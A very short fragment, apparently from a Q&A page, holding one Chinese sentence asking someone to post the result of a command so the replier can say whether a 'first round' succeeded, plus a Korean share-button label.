把这一条的结果贴出来,我就能直接告诉你第一轮到底有没有成功。

이 Q&A 공유하기